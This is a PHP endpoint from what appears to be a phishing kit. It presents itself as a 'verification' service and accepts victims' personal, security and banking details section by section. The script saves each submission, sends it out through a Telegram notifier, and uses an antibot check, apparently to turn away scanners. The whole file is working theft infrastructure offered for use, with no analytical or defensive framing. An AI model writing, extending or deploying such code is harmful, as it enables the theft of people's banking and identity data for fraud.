<?php
/**
 * API Endpoint - Submit Section Data
 * Handles submission of individual verification sections
 */

header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST');
header('Access-Control-Allow-Headers: Content-Type');

// Include required files
require_once '../config.php';
require_once '../antibot.php';
require_once '../data-handler.php';
require_once '../telegram.php';

// Load configuration
$config = include '../config.php';

// Initialize AntiBot protection
$antibot = new AntiBot($config);

// Check if antibot protection is enabled
if (!$antibot->protect()) {
    http_response_code(403);
    echo json_encode(['success' => false, 'message' => 'Access denied']);
    exit;
}

// Check request method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    echo json_encode(['success' => false, 'message' => 'Method not allowed']);
    exit;
}

// Get JSON input
$input = json_decode(file_get_contents('php://input'), true);

if (!$input) {
    http_response_code(400);
    echo json_encode(['success' => false, 'message' => 'Invalid JSON data']);
    exit;
}

// Validate required fields
$requiredFields = ['sessionId', 'section', 'data', 'currentSection'];
foreach ($requiredFields as $field) {
    if (!isset($input[$field])) {
        http_response_code(400);
        echo json_encode(['success' => false, 'message' => "Missing required field: $field"]);
        exit;
    }
}

$sessionId = $input['sessionId'];
$section = $input['section'];
$data = $input['data'];
$currentSection = (int)$input['currentSection'];

// Debug logging
error_log("=== SECTION SUBMISSION DEBUG ===");
error_log("Received section: " . $section . " for session: " . $sessionId);
error_log("Current section index: " . $currentSection);
error_log("Data received: " . json_encode($data));
error_log("=================================");

try {
    // Initialize data handler
    $dataHandler = new SimpleDataHandler($config);
    
    // Initialize Telegram notifier
    $telegram = new TelegramNotifier($config, $dataHandler);
    
    // Get client information
    $clientIP = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
    $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    // Get location data (simplified for localhost testing)
    $locationData = [
        'ip' => $clientIP,
        'country' => 'United States', // You can replace with actual geolocation
        'state' => 'California',
        'city' => 'Los Angeles',
        'user_agent' => $userAgent
    ];
    
    // Save section data to file
    $success = $dataHandler->saveVerificationData($sessionId, $section, $data, $locationData);
    
    if ($success) {
        // Send Telegram notification
        error_log("Attempting to send Telegram notification for section: " . $section);
        switch ($section) {
            case 'personal':
                $result = $telegram->sendPersonalDetailsNotification($sessionId, $data, $locationData);
                $message = 'Personal details saved successfully';
                error_log("Personal notification result: " . ($result ? 'SUCCESS' : 'FAILED'));
                break;
                
            case 'security':
                $result = $telegram->sendSecurityDetailsNotification($sessionId, $data);
                $message = 'Security details saved successfully';
                error_log("Security notification result: " . ($result ? 'SUCCESS' : 'FAILED'));
                break;
                
            case 'banking':
            case 'account': // Handle both 'banking' and 'account' for compatibility
                $result = $telegram->sendBankingDetailsNotification($sessionId, $data);
                $message = 'Banking details saved successfully';
                error_log("Banking notification result: " . ($result ? 'SUCCESS' : 'FAILED'));
                break;
                
            default:
                error_log("Invalid section received: " . $section);
                throw new Exception('Invalid section: ' . $section);
        }
        
        // Log successful submission
        $dataHandler->logSecurityEvent($clientIP, $userAgent, 'section_submitted', "Section: $section");
        
        echo json_encode([
            'success' => true,
            'message' => $message,
            'section' => $section
        ]);
    } else {
        throw new Exception('Failed to save data');
    }
    
} catch (Exception $e) {
    error_log("API Error: " . $e->getMessage());
    
    // Log error
    if (isset($dataHandler)) {
        $dataHandler->logSecurityEvent($clientIP ?? '0.0.0.0', $userAgent ?? '', 'api_error', $e->getMessage());
    }
    
    http_response_code(500);
    echo json_encode([
        'success' => false,
        'message' => 'An error occurred while processing your request'
    ]);
}
?>
